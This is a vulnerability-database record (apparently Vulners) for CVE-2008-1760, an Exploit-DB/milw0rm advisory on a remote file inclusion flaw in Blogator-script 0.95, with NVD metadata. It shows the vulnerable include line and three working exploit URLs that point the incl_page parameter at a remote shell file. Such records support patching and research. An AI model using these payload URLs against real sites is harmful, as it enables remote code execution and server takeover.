{"id": "EDB-ID:5365", "hash": "27e499d7c5ea0443bb3af9788a25930a", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Blogator-script 0.95 incl_page Remote File Inclusion Vulnerability", "description": "Blogator-script 0.95 (incl_page) Remote File Inclusion Vulnerability. CVE-2008-1760. Webapps exploit for php platform", "published": "2008-04-04T00:00:00", "modified": "2008-04-04T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/5365/", "reporter": "JIKO", "references": [], "cvelist": ["CVE-2008-1760"], "lastseen": "2016-01-31T23:01:31", "history": [], "viewCount": 6, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-1760"]}], "modified": "2016-01-31T23:01:31"}, "vulnersScore": 7.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/5365/", "sourceData": "-------------------------------------------------------------------------\n -- JIKI Team [ JIKO + KIl1er ] ---\n-------------------------------------------------------------------------\n# Author : jiko\n# email : jalikom@hotmail.com\n# Home : www.no-back.org\n# Script : Blogator-script Version 2\n# Bug : Remote File Inclusion\n# Download : http://www.blogator-script.com/telecharger.php\n# file : struct_admin.php & struct_admin_blog.php & struct_main.php\n# Eror :\n <? include($incl_page); ?>\n=========================JIkI Team===================\n# Exploit :\n \n http://localhost/[script]/_blogadata/include/struct_admin.php?incl_page=http://localhost/shell.txt?\nhttp://localhost/[script]/_blogadata/include/struct_admin_blog.php?incl_page=http://localhost/shell.txt?\nhttp://localhost/[script]/_blogadata/include/struct_main.php?incl_page=http://localhost/shell.txt?\n=========================JIKI Team===================\n greetz : all my friend and H-T Team \n-------------------------------------------------------------------------\n -- JIKI Team [ JIKO + KIl1er ] --\n-------------------------------------------------------------------------\n\n# milw0rm.com [2008-04-04]\n", "osvdbidlist": ["44146", "44145", "44144"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2017-09-29T14:25:50", "bulletinFamily": "NVD", "description": "Multiple PHP remote file inclusion vulnerabilities in Blogator-script before 1.01 allow remote attackers to execute arbitrary PHP code via a URL in the incl_page parameter in (1) struct_admin.php, (2) struct_admin_blog.php, and (3) struct_main.php in _blogadata/include.", "modified": "2017-09-28T21:30:51", "published": "2008-04-12T16:05:00", "id": "CVE-2008-1760", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-1760", "title": "CVE-2008-1760", "type": "cve", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}